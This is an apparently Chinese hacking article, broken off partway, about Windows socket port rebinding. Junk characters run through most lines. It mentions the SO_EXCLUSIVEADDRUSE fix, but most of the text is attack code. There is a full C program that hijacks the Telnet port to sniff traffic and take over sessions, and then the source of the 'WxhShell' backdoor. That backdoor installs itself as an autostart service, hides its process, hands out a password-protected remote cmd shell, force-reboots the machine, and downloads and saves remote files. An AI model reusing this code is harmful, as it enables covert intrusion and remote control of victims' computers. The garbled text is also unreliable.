在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2)0J@r' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v{"yrC R:Ih#2R saddr.sin_family = AF_INET;
F1-C8V2H u&TXN;I,p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t54?<- 2,g4yXws5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[.Fq
l+ [7r^fD
A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tq'ri-c&b 2cIbX 这意味着什么?意味着可以进行如下的攻击:
k #\j \t- [S~Bt78d%r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
l.g.O>1
~9#x=nU:+V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;P;c!}:\b :qB|~"9O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
R6;#+ 1D ?GhMGpdMq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?D)$OCS Dyo^O=0c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E6O!e<ze^ O8"
t.W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
o%;ly ^"=G=* / 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9v-Y*\!w. /~;!Ew|q #include
(=c,b9cb #include
gzat!>* #include
3pW4Ul@e #include
H-u
SdT DWORD WINAPI ClientThread(LPVOID lpParam);
#QcRN?s int main()
3}mg7KV& {
jgPUR#) WORD wVersionRequested;
M?}:N_9<J DWORD ret;
Hsv)]
%p WSADATA wsaData;
qbS6#7D BOOL val;
IDos4nM27] SOCKADDR_IN saddr;
$$o( SOCKADDR_IN scaddr;
q I~*G3 int err;
$X/'BCb SOCKET s;
Jn|i! SOCKET sc;
.b<W*4{j0H int caddsize;
:wg=H HANDLE mt;
0#uB[N DWORD tid;
)wD/<7; wVersionRequested = MAKEWORD( 2, 2 );
4J(-~ err = WSAStartup( wVersionRequested, &wsaData );
Q/4ICgo4 if ( err != 0 ) {
LdNpb;* printf("error!WSAStartup failed!\n");
NR8`nc1~ return -1;
P3=#<Q. }
lP]Y^Gz saddr.sin_family = AF_INET;
QE)zH)(
I''n1v?N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3)?WSOsL: 8c9<kGm$E saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aL90:,V saddr.sin_port = htons(23);
M,li\)J!& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&s?uMWR {
5}]+|d; printf("error!socket failed!\n");
[ @"6:tTU return -1;
$2i@@#g8 }
L'aB/5_% val = TRUE;
NR
k~ //SO_REUSEADDR选项就是可以实现端口重绑定的
`]6<j<'
, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
e`7>QS;. {
L1(-xNUo_i printf("error!setsockopt failed!\n");
whHuV*K} return -1;
z;<~j=lP }
&Q}%b7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
PO6yEr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{}Is&^3Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#rBfp|b]1 U2W Hs3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+s8R]3NJ_H {
H6jt[ ret=GetLastError();
x
lqP% printf("error!bind failed!\n");
Mb\(52`)Q return -1;
<Y1Plc }
GtZ.'?- listen(s,2);
1%N*GJlwJ while(1)
'OP0#`6` {
a9{NAyl<oo caddsize = sizeof(scaddr);
W,CAg7:* //接受连接请求
v;;3 K*c> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p0zC(v0* if(sc!=INVALID_SOCKET)
LK}FI*A_ {
l,l6j";ohd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6XU p$Pd( if(mt==NULL)
BU??}{ {
s>L.V2!$0 printf("Thread Creat Failed!\n");
7t<MHdw break;
h| wdx(4
}
eh]syeKBj }
.lP',hn CloseHandle(mt);
VWHpfm[r% }
^5TVm>F@3 closesocket(s);
q
jc4IW t~ WSACleanup();
;l @lA)i return 0;
ivq(eKy }
'plUs<A DWORD WINAPI ClientThread(LPVOID lpParam)
vWeY[>oGur {
#(Gz?kGAH` SOCKET ss = (SOCKET)lpParam;
*xsBFCRU SOCKET sc;
$^{#hYq)o unsigned char buf[4096];
]|,}hsN SOCKADDR_IN saddr;
G&1bhi52 long num;
"uIaKb DWORD val;
c};%VB DWORD ret;
Fc \]* //如果是隐藏端口应用的话,可以在此处加一些判断
FE,mUpHIR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?jlz:Z4 saddr.sin_family = AF_INET;
E JuTv%Y8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5BXku=M saddr.sin_port = htons(23);
J9]cs?`) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z5M6 {
-40X3 printf("error!socket failed!\n");
_ ~\} fY return -1;
Is}kCf }
&b5(Su val = 100;
0^o/cSF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jED.0,+K! {
u|Mx} ret = GetLastError();
+D]raU return -1;
[{u3g4`} }
v7./u4S|V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LFHJj-nk {
t4v'X}7q] ret = GetLastError();
Q#SQ@oUzD return -1;
$>O~7Nfst7 }
!1=OaOT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!f52JQyh {
2 Kjd!~Z$ printf("error!socket connect failed!\n");
;2&" closesocket(sc);
breF,d$ closesocket(ss);
^ `Ozw^~ return -1;
t&{;6MiE }
fpo{`;&F while(1)
7(.Z8AO {
X`Q+,tx$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~:T@SrVI //如果是嗅探内容的话,可以再此处进行内容分析和记录
,
%z HykP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0g|5s num = recv(ss,buf,4096,0);
-#;xfJE if(num>0)
Z*mbhod send(sc,buf,num,0);
&Q?@VNi else if(num==0)
4l%W]' break;
Hh=fv~X num = recv(sc,buf,4096,0);
|> ]@w\] if(num>0)
+c<iVc| send(ss,buf,num,0);
r \ft{Z<P else if(num==0)
/ugyUpyg break;
HFy9b|pjy }
=ejU(1 g closesocket(ss);
Yr-SlO> closesocket(sc);
G|1.qHP[F return 0 ;
XxmWj-=qO }
6 V0Ayxg7 JJ?rVq1g j;coP ehB ==========================================================
s)qrlv5H nD*iSb* 下边附上一个代码,,WXhSHELL
uWdF7|PN7 04|ZwX$>+ ==========================================================
65~E<)UJ 3[fm|aU #include "stdafx.h"
eP>_CrJb 7<WS@-2I# #include <stdio.h>
~CnnN[g(_ #include <string.h>
g_syGQ\ #include <windows.h>
<L qJg #include <winsock2.h>
BK%B[f*[OA #include <winsvc.h>
(=7"zECq# #include <urlmon.h>
{j>a_]dTVX f- 9t #pragma comment (lib, "Ws2_32.lib")
2n@`Og_0 #pragma comment (lib, "urlmon.lib")
m-
<y|3 a&b/C*R_ #define MAX_USER 100 // 最大客户端连接数
NLL"~ #define BUF_SOCK 200 // sock buffer
r]p3DQ #define KEY_BUFF 255 // 输入 buffer
8N'hG, QNMZR #define REBOOT 0 // 重启
<>\|hno} #define SHUTDOWN 1 // 关机
`Fr ,,Q81\ -GPBX? #define DEF_PORT 5000 // 监听端口
a&8K5Z%0 .i4aM;Qy #define REG_LEN 16 // 注册表键长度
zT,@PIC( #define SVC_LEN 80 // NT服务名长度
WC~;t4 *2a" 2o // 从dll定义API
l6HtZ( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ekyCZ8iai typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3i!a\N4 K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(cLK hn@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&]n }fq ,6g{-r-2 // wxhshell配置信息
6Oy:5Ps8a struct WSCFG {
F:ycV~bE int ws_port; // 监听端口
a4^hC[a char ws_passstr[REG_LEN]; // 口令
[6mK<A,/ int ws_autoins; // 安装标记, 1=yes 0=no
oa"Bpi9i char ws_regname[REG_LEN]; // 注册表键名
I &iyj99n char ws_svcname[REG_LEN]; // 服务名
$oQOOa@;i) char ws_svcdisp[SVC_LEN]; // 服务显示名
-@w,tbc$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
:V+rC]0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#2_FM!e int ws_downexe; // 下载执行标记, 1=yes 0=no
u5}:[4N%I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]ouoRlb/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
N+c|0 q%;cu1^"M };
qK%N{ro[{? n&;JW6VQS // default Wxhshell configuration
G=17]>U struct WSCFG wscfg={DEF_PORT,
[l5jPL}6 "xuhuanlingzhe",
~q566k!Ll! 1,
n?r8ZDJ' "Wxhshell",
}}TPu8Rl "Wxhshell",
%;QK5L "WxhShell Service",
a[~[lk=7 "Wrsky Windows CmdShell Service",
GCN-T1HvA2 "Please Input Your Password: ",
Vp]7n!g4l 1,
|9S8sfw "
http://www.wrsky.com/wxhshell.exe",
<h/q^| tZ{ "Wxhshell.exe"
M{24MF };
n>.@@ WMtFXkf6" // 消息定义模块
C:Rs~@tl
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
I20~bW char *msg_ws_prompt="\n\r? for help\n\r#>";
1M??@@X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G)<B7-72; char *msg_ws_ext="\n\rExit.";
@QmN= X5 char *msg_ws_end="\n\rQuit.";
h7E?7nR char *msg_ws_boot="\n\rReboot...";
SnFyK5 char *msg_ws_poff="\n\rShutdown...";
ZiuD0#"! char *msg_ws_down="\n\rSave to ";
C%yH}T\s o4FHR+u<M char *msg_ws_err="\n\rErr!";
,byc!P char *msg_ws_ok="\n\rOK!";
75Z|meG~ AJi+JO- char ExeFile[MAX_PATH];
np^&cY] int nUser = 0;
b_ZvI\H HANDLE handles[MAX_USER];
|"LHo
H int OsIsNt;
fU$Jh/#": 8X`DFeJ SERVICE_STATUS serviceStatus;
3 twA5)v SERVICE_STATUS_HANDLE hServiceStatusHandle;
zS;ruK%2 Ql5bjlQdO // 函数声明
),N,!15j, int Install(void);
Gn
9oInY1 int Uninstall(void);
eWv:wNouk int DownloadFile(char *sURL, SOCKET wsh);
QoxYzln int Boot(int flag);
Wd;t(5Xl void HideProc(void);
/a32QuS int GetOsVer(void);
G$Mf(S'f int Wxhshell(SOCKET wsl);
7(o`>7x* void TalkWithClient(void *cs);
D@uVb4uK int CmdShell(SOCKET sock);
moxmQ>xoH int StartFromService(void);
tjThQ int StartWxhshell(LPSTR lpCmdLine);
V6dq8Z"h Fj<*!J$, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l3b=8yn. VOID WINAPI NTServiceHandler( DWORD fdwControl );
<MG&3L.[ kNWTM%u9 // 数据结构和表定义
-hnNaA SERVICE_TABLE_ENTRY DispatchTable[] =
G)s.~ T {
ri4z^1\ {wscfg.ws_svcname, NTServiceMain},
f{VV U/$ {NULL, NULL}
|Yw k };
A!!!7tj xT&~{,9 // 自我安装
?QffSSj[s int Install(void)
b(N\R_IQ~ {
Wx-0Ip'9 char svExeFile[MAX_PATH];
mF@7;dpr HKEY key;
hA 5p'a+K strcpy(svExeFile,ExeFile);
_(J#RH V $I8iVGL // 如果是win9x系统,修改注册表设为自启动
%(
7##f_ if(!OsIsNt) {
P.Bwfa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
| I:@: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!%65YTxY- RegCloseKey(key);
B\R X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ShC$ue?Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
':_9o5I RegCloseKey(key);
wyX3qH return 0;
w3q'n% }
%R?7u'=~ }
QErdjjgE }
)lLeL#]FLO else {
7Q|<6210 :8OT // 如果是NT以上系统,安装为系统服务
8:c=h/fa
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
pdJ]V`m if (schSCManager!=0)
fD[O
tc {
>#:SJ?)`T SC_HANDLE schService = CreateService
KS(H_&j (
AjEy@/ schSCManager,
(
y!o wscfg.ws_svcname,
HUjX[w8 wscfg.ws_svcdisp,
1LS1 ZY SERVICE_ALL_ACCESS,
f$^wu~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qZF&^pCF} SERVICE_AUTO_START,
X[Ufq^fyA SERVICE_ERROR_NORMAL,
/v9qrZ$$ svExeFile,
R/"f NULL,
TOG4=y-N NULL,
?`e@ o? NULL,
T5T%[Gv NULL,
a6vej NULL
bDl#806P L );
!0lk}Uzkh if (schService!=0)
N,lr~6) {
] :LlOv$ CloseServiceHandle(schService);
U%bm{oVn CloseServiceHandle(schSCManager);
M`al~9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*;}xg{@ strcat(svExeFile,wscfg.ws_svcname);
D*2*FDGI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5QK%BiDlr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J/P[9m30[ RegCloseKey(key);
+pG+ xI return 0;
t[+bZUS$~ }
"9'3mmZm=? }
zx<PX CloseServiceHandle(schSCManager);
db,?b>,EE }
v|~=rvXFC }
T1$p%yQH Nzgi)xX0HX return 1;
?xv."I% }
`w#VYs|k .?s jr4 // 自我卸载
o@gceZuk int Uninstall(void)
#pPOQv:~ {
(bv{17K HKEY key;
:@jctH~ %ZD]qaU0 if(!OsIsNt) {
W7A!QS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ox#vW6;) RegDeleteValue(key,wscfg.ws_regname);
G7CkP RegCloseKey(key);
F-zIzzb&O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
az![u) RegDeleteValue(key,wscfg.ws_regname);
}=v4(M `% RegCloseKey(key);
~vt*%GN3 return 0;
w( SY }
A^M]vk%dg }
'cc8xC }
$"NH{%95} else {
hfI=9x/ x&DqTX?b, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}0\SNpVN if (schSCManager!=0)
xdbzpU
{
'.z7)n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@2.
:fK if (schService!=0)
%dnpO|L {
r
ezp7 if(DeleteService(schService)!=0) {
[;IE Z/ZX CloseServiceHandle(schService);
bP-(N14x+ CloseServiceHandle(schSCManager);
b-8@_@f|g return 0;
{+#{Cha }
V0{#q/q CloseServiceHandle(schService);
D+;4|7s+ }
@&m]:GR CloseServiceHandle(schSCManager);
m-4#s }
'lE{Nj*7 }
,N:^4A ,w6?Ap return 1;
X@[5nyILf }
iCpm^ XT :'%|LBc0 // 从指定url下载文件
|MKR&%Na int DownloadFile(char *sURL, SOCKET wsh)
FVl,
ttW {
Bj4c_YBte HRESULT hr;
]tu
OWR char seps[]= "/";
kM4z
% char *token;
aNKw.S> char *file;
USEmD5 q char myURL[MAX_PATH];
{M:/HQo char myFILE[MAX_PATH];
<%3fJt-Ie CC!`fX6z>h strcpy(myURL,sURL);
Pi=FnS token=strtok(myURL,seps);
aWimg6q while(token!=NULL)
|-vyhr0 {
MF.!D;s file=token;
IWi0? V token=strtok(NULL,seps);
Hk+44 }
^k%+ao l
opl GetCurrentDirectory(MAX_PATH,myFILE);
gzi=+oJ|4 strcat(myFILE, "\\");
?;](;n#lU strcat(myFILE, file);
>F^$
' b] send(wsh,myFILE,strlen(myFILE),0);
t)8crX}P send(wsh,"...",3,0);
j%3$ytf|p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0^Ldw)C" if(hr==S_OK)
**__&Xp1 return 0;
bj0HAgY@ else
32+N?[9
* return 1;
fhZwYx&t Q(N'Oj:J }
0_je@p+$
ynra%"sd // 系统电源模块
"UD)3_R int Boot(int flag)
0y<9JvN$9 {
9Oj b~ HANDLE hToken;
Mz$qe TOKEN_PRIVILEGES tkp;
b/\O;o}] An(gHi;1$ if(OsIsNt) {
v,ecNuy*d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@>U9CL" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wH@<0lw`< tkp.PrivilegeCount = 1;
Z\C"/j<y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a9lYX*: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ke@Bf
if(flag==REBOOT) {
\I i#R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Rq| 5%;1 return 0;
(421$w,B% }
M6cybEk` else {
n5xG4.#G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
anz7ae&P'K return 0;
`::j\3B&Y- }
Us "G X_ }
Ap\]v2G else {
3@eI? (N if(flag==REBOOT) {
Kg2@]J9m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Vt zSM%= return 0;
% O%;\t }
oU3gy[wF;b else {
q{*[uJ}Xc" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V^qBbk%l>D return 0;
"o;%em*Bc }
,agkV)H }
Yy[=E\z ^+~$eg&js return 1;
uq:'`o-1 }
uJ=&++[
ArX*3 // win9x进程隐藏模块
Jp)PKS
![ void HideProc(void)
nC/T$
#G {
\K9Y@jnr coaJDg+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7m8:odeF if ( hKernel != NULL )
6"?#s/fk {
RToX[R;1E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0=`aXb- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
z}5'TV=^ FreeLibrary(hKernel);
0_y&9Te }
PK?}hz D0f7I:i1 return;
S#+ _HFUK{ }
.*EP$pc (#je0ES // 获取操作系统版本
Q4ii25]* int GetOsVer(void)
IP !zg|c, {
IMSm OSVERSIONINFO winfo;
QKz2ONV=) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Q(8W5Fb? GetVersionEx(&winfo);
c$A}mL_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e!i.u'z return 1;
?1]B(V9nBq else
,aWfGh#$ return 0;
nYRD>S?uz }
<N80MUL| g5Hsz,x // 客户端句柄模块
0\$Lnwp_ int Wxhshell(SOCKET wsl)
:]C\DUBo {
[MC}zd'/ SOCKET wsh;
S!}pL8OE struct sockaddr_in client;
A^c5CJ_ DWORD myID;
; zy;M5l5. _x#r,1V+D while(nUser<MAX_USER)
b[;3y/X
{
dj0Du^v4 int nSize=sizeof(client);
Git2Cet wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SR)@'-Wd if(wsh==INVALID_SOCKET) return 1;
'?fn} V Y u^ } handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
v g tJ+GjN if(handles[nUser]==0)
[iSLn3XXRX closesocket(wsh);
x~yd/ R else
[qt^gy) nUser++;
v#sx9$K T }
^T@-yys WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.fW`/BXE V|0UwS\n return 0;
-H_7GVSnl }
7xT<|3 I .Qj`_q6= // 关闭 socket
P#Ikj&l void CloseIt(SOCKET wsh)
s3T 6"%S` {
tQ?}x#J closesocket(wsh);
e''Wm.>g(+ nUser--;
' :]w ExitThread(0);
w@f_TG"Vt }
zjJyc? WUi7~Ei} // 客户端请求句柄
%}&9[# void TalkWithClient(void *cs)
z<P#djx {
xhMdn3~U 2I39fZa SOCKET wsh=(SOCKET)cs;
?Z7C0u#wd char pwd[SVC_LEN];
8c$IsvJg char cmd[KEY_BUFF];
&l|B>{4v char chr[1];
9zd)[4%= int i,j;
(C QgT3V J.`.lQ$z while (nUser < MAX_USER) {
*XzUqK u09OnP\ if(wscfg.ws_passstr) {
~JT{!wcE}o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e S
Fmx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IWpUbD|kC //ZeroMemory(pwd,KEY_BUFF);
-XY]WWlq i=0;
||,;07 while(i<SVC_LEN) {
&c@I4RV|q ZNA?`Z)f // 设置超时
?,),%JQ fd_set FdRead;
]g+(#x_.? struct timeval TimeOut;
,|c_l) FD_ZERO(&FdRead);
$S cjEG:6 FD_SET(wsh,&FdRead);
d ly 0874 TimeOut.tv_sec=8;
&k{@:z TimeOut.tv_usec=0;
AU$5"kBE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%I=J8$B]f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y2D)$ -s!PO;qm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$fvUb_n pwd
=chr[0]; cE]kI,Fw,M
if(chr[0]==0xd || chr[0]==0xa) { FRF}V@~
pwd=0; 6ensNr~ea
break; `") I[h
} 6<~y!\4;F
i++; ,zyrBO0 Eq
} _bz,G"w+:
Zd%\x[f9ck
// 如果是非法用户,关闭 socket n<$I, IRE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nMbV{h ,
} #5I "M WA
r#~6FpFVK^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `4p9K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BzUx@,
lJ,s}l7
while(1) { |O+binq
xO@OkCue
ZeroMemory(cmd,KEY_BUFF); p.IfJ|
e)bqE^JP
// 自动支持客户端 telnet标准 M*{e e0\`r
j=0; |ZKchd8Yq
while(j<KEY_BUFF) { J)[(4R>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ozo8 Tr
cmd[j]=chr[0]; \%VoX`B
if(chr[0]==0xa || chr[0]==0xd) { g?+P&FL#I
cmd[j]=0; ?{dno=
break; O&0R ~<n
} [(K^x?\Y0'
j++; dk ?0r
} ,J#5Y.
x[kdQj2[&
// 下载文件 zC^Ib&gm>,
if(strstr(cmd,"http://")) { 8vP)qy8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); / L8=8
if(DownloadFile(cmd,wsh)) D.GSl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!S{[7 FY
else A|+{x4s`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8YJ({ Ou_
} Y#5S;?bR
else { zBR]bk\
+$'/!vN
switch(cmd[0]) { BW;u?1Xa
_B[(/wY
// 帮助 yiU dUw/
case '?': { uQNoIy J)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dA~6{*)
break; h 2zCX
} sOW|TN>y\
// 安装 J.d `tiN
case 'i': { w?C\YKF7
if(Install()) ?m.4f&X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $p@g#3X`
else {Q"<q`c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tpD?-`9o
break; StVv"YY
} b6(yyYdF
// 卸载 BkF[nL*|
case 'r': { 5*r6#[S\
if(Uninstall()) ~eP2PG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;D7jE+
else A!~o?ej
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g/J!U8W"
break; YGO@X(ej,
} z=U!D `]v
// 显示 wxhshell 所在路径 fYi!Z/Ck2
case 'p': { )qIK7;
char svExeFile[MAX_PATH]; hd B[H8Q
strcpy(svExeFile,"\n\r"); )Fw)&5B!
strcat(svExeFile,ExeFile); ]gW J,
send(wsh,svExeFile,strlen(svExeFile),0); S7vE[VF5
break; one>vi`=
} GwULtRa/
// 重启 -iHhpD9"X
case 'b': { :KLD~k7yA(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IY&a!
if(Boot(REBOOT)) ;z>YwRV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); on\\;V_/Q
else { >R<fm
closesocket(wsh); [C6?:'}FA
ExitThread(0); \zUsHK?L"t
} NC}#P<U
break; u|c+w)a
} $\
'\@3o
// 关机 G;;~xfE'
case 'd': { 96avgyc
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); luT8>9X^:a
if(Boot(SHUTDOWN)) c"ztrKQQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !)=o,sVA
else { ,Mc2dhq
closesocket(wsh); Mm!saKT%
ExitThread(0); 8E+l;2
} jlBCu(.,_
break; }t'^Au`X
} fL;p^t u3
// 获取shell ULjzhy+(8
case 's': { !Xi>{nV
CmdShell(wsh); |_*$+
closesocket(wsh); Kc0OLcu^d
ExitThread(0); vp@+wh]#
break; =*Xf(mh c
} MjTKM;
// 退出 Hi9z<l=$
case 'x': { 9_3M}|V$^e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;>9pJ72r
CloseIt(wsh); rE:>G]j6
break; {)qP34rM
} ~tvoR&{I
// 离开 GB3B4)cX4Y
case 'q': { >lmL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P1n@E*~V5
closesocket(wsh); Uj)]nJX
WSACleanup(); iurB8~Y
exit(1); }i:'f2/
break; 0)!zhO_}
} ,be?GAq
} m5N&7qgp
} (xed(uFEK
+.I'U9QeUN
// 提示信息 $4L3y
uH
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {6sfa?1j
} Fr3t[:D
} ud D[hPJd
I:<R@V<~#
return; zQ}N
mlk
} !++62Lf
8zWPb
// shell模块句柄 [Gy'0P(EQ
int CmdShell(SOCKET sock) V?BVk8D};
{ Pltju4.:C
STARTUPINFO si; K3DJ"NJ<Ji
ZeroMemory(&si,sizeof(si)); &NeYKh?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GNc|)$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,0]28D
PROCESS_INFORMATION ProcessInfo; nn4Sy,cz
char cmdline[]="cmd"; I;H9<o5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GTl (i*
return 0; Els= :4
} [uQZD1<q
NfF:[qwh
// 自身启动模式 ot#kU 8f
int StartFromService(void) ZS]f+}0/}
{ `r(J6,O
typedef struct /ASI0h
{ P'9io!Z-s
DWORD ExitStatus; WI_mJ/2
